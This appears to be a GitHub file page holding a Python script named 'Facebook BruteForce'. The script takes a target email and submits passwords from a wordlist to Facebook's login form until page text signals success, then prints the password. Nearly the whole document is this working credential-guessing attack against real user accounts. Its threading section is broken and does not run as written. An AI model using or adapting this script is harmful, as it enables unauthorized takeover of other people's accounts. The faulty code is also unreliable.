-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathfacebook2.py
More file actions
69 lines (58 loc) · 2.06 KB
/
facebook2.py
File metadata and controls
69 lines (58 loc) · 2.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import time
import sys
from threading import *
if sys.version_info[0] !=3:
print('''--------------------------------------
REQUIRED PYTHON3 .x
use: python3 facebook2.py
--------------------------------------
''')
sys.exit()
post_url='https://www.facebook.com/login.php?login_attempt=1'
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
}
try:
import mechanize
import urllib.request, urllib.error, urllib.parse
browser = mechanize.Browser()
browser.addheaders = [('User-Agent',headers['User-Agent'])]
browser.set_handle_robots(True)
except:
print('\n\tPlease install mechanize.\n')
sys.exit()
print('\n---------- Welcome To Facebook BruteForce ----------\n')
file=open('jasu-wordlists','r')
email=str(input('Enter Email/Username : ').strip())
print(("Target Email ID :", email))
print("Trying Passwords from list ...")
i=0
while file:
passw=file.readline().strip()
i+=1
if len(passw) < 6:
continue
print(str(i) +" : ",passw)
response = browser.open(post_url)
try:
if response.code == 200:
browser.select_form(nr=0)
browser.form['email'] = email
browser.form['pass'] = passw
response = browser.submit()
response_data = response.read()
if 'Find Friends' in response_data or 'Two-factor authentication' in response_data or 'security code' in response_data:
print(('Your password is : ',passw))
break
except:
time.sleep(0)
threads = []
for file in range(50):
t = threading.Thread(target=email)
t = threading.Thread(target=passw)
t.daemon = True
threads.append(t)
for file in range(50):
threads[i].start()
for file in range(50):
threads[i].join()